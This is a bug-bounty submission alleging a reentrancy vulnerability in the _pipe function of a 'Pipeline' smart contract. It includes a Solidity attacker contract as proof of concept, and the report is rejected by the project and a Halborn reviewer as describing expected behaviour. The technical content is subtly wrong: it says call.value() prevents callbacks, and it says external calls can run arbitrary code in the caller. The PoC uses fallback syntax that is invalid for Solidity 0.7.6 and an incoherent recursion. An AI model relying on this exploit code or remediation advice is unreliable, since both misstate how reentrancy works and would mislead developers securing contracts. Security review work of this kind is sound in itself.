📄

Report #14848

Report Date
December 17, 2022

Reentrancy

Report Info

Report ID

#14848

Target

Report type

Smart Contract

Impacts

Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Has PoC?

Yes

Bug Description

The _pipe and _pipeMem functions call external contracts using the Solidity call function. This function allows a contract to execute a function in another contract and return the result, but it also allows the external contract to execute arbitrary code in the calling contract. This means that if an attacker can control the external contract, they can potentially call back into the original contract and execute arbitrary code or trigger unintended behavior.

Recommendation

To protect against reentrancy attacks, it is important to ensure that any external contract calls are made in a safe manner. One way to do this is by using the call.value() function, which executes the external contract call but does not allow the external contract to call back into the original contract. Another option is to use a mutex or other synchronization mechanism to ensure that the contract is not interrupted while it is executing.

In the code, neither of these measures is taken, which means that the contract is vulnerable to reentrancy attacks. It is recommended to implement measures to prevent reentrancy attacks in order to secure the contract.

Proof of concept

Here is a proof of concept of a reentrancy attack on the _pipe function

pragma solidity =0.7.6;

import "./Pipeline.sol";

// Attacker contract that will call the target contract recursively
contract Attacker {
    // Address of the target contract
    address target;

    // Constructor
    constructor(address _target) public {
        target = _target;
    }

    // Fallback function that will be called recursively
    function() external payable {
        // Call the target contract
        Pipeline(target)._pipe(address(this), new bytes(0), msg.value);
        // Call the fallback function again to trigger the attack
        attack();
    }

    // Function to trigger the attack
    function attack() public {
        // Send a small amount of Ether to the attacker contract to trigger the fallback function
        address(this).send(1 wei);
    }
}

To test this proof of concept, deploy the Pipeline contract and then deploy the Attacker contract, passing the address of the Pipeline contract as an argument. Then call the attack function of the Attacker contract to trigger the attack.

This proof of concept demonstrates how an attacker can call the _pipe function of the Pipeline contract recursively, potentially leading to an infinite loop or other unintended behavior. To prevent this type of attack, it is important to implement measures to prevent reentrancy, such as using the call.value() function or a mutex.

BIC Response

This is not a security bug report because the report outlines expected functionality. Pipeline was built with the philosophy that it is not the smart contract's role to protect users against misuse. See the Risk section of the Pipeline whitepaper: https://evmpipeline.org/pipeline.pdf#section.6

Due to these reasons, we are closing the submission and no reward will be issued.

Halborn Response

Yes this is true, however it does not make any sense considering how Pipeline is going to be used. And it is a risk already assumed in the documentation that if there is any funds left in there they can be stolen.

Moreover if the attacker controls the destination address, previously introduced by the client, the reentrancy also is meaningless as the damage is evident. But I guess that risk is already assumed as any call to a malicious address.

Nevertheless, I dont come up to a scenario where a called contract from piepeline needs to callback Pipeline.